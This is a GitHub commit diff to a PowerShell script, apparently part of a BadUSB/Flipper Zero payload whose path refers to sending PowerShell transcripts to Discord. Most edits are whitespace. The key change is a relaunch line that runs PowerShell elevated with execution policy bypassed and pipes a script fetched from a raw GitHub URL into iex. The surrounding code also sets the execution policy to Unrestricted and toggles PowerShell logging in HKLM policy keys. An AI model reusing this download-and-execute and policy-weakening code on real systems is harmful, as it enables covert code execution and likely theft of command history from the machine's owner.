Update main.ps1

This commit is contained in:
egieb
2024-04-03 19:05:02 +00:00
committed by GitHub
parent 9ff12cc326
commit 1d28bf9b37

View File

@@ -47,13 +47,13 @@ Function HideConsole{
}
}
function CreateRegKeys {
param ([string]$KeyPath)
if (-not (Test-Path $KeyPath)) {
Write-Host "Creating registry keys" -ForegroundColor Green
New-Item -Path $KeyPath -Force | Out-Null
}
function CreateRegKeys {
param ([string]$KeyPath)
if (-not (Test-Path $KeyPath)) {
Write-Host "Creating registry keys" -ForegroundColor Green
New-Item -Path $KeyPath -Force | Out-Null
}
}
Function RestartScript{
@@ -61,7 +61,7 @@ Function RestartScript{
Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs
}
else{
Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C irm https://raw.githubusercontent.com/beigeworm/Powershell-Tools-and-Toys/main/Discord%20Scripts/Global-PS-Logging-to-DC.ps1 | iex") -Verb RunAs
Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1 | iex") -Verb RunAs
}
exit
}
@@ -70,9 +70,9 @@ if ($ps1Files.Count -gt 0) {
Write-Host "Removing Powershell logging" -ForegroundColor Green
Get-ChildItem -Path $directory -Filter *.ps1 | Remove-Item -Force
sleep 3
If (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableModuleLogging" -Value 0
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 0
If (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableModuleLogging" -Value 0
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 0
}
exit
}
@@ -94,22 +94,22 @@ If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]:
sleep 2
RestartScript
}
}
else{
Write-Host "Ckecking log registry keys.." -ForegroundColor DarkGray
CreateRegKeys -KeyPath "HKLM:\Software\Policies\Microsoft\Windows\PowerShell"
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableModuleLogging" -Value 1
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 1
Write-Host "Checking Execution Policy.." -ForegroundColor DarkGray
}
else{
Write-Host "Ckecking log registry keys.." -ForegroundColor DarkGray
CreateRegKeys -KeyPath "HKLM:\Software\Policies\Microsoft\Windows\PowerShell"
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableModuleLogging" -Value 1
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 1
Write-Host "Checking Execution Policy.." -ForegroundColor DarkGray
$policy = Get-ExecutionPolicy
if (($policy -ne 'Unrestricted') -or ($policy -ne 'RemoteSigned') -or ($policy -ne 'Bypass')){
Set-ExecutionPolicy Unrestricted
Write-Host "Set Execution Policy to Unrestricted." -ForegroundColor Green
}
else{
Write-Host "Execution Policy is already Unrestricted.." -ForegroundColor Green
}
}
else{
Write-Host "Execution Policy is already Unrestricted.." -ForegroundColor Green
}
}
if ($ps1Files.Count -eq 0) {
@@ -194,4 +194,4 @@ while ($true) {
RefreshFiles
Start-Sleep -Seconds 5
}
}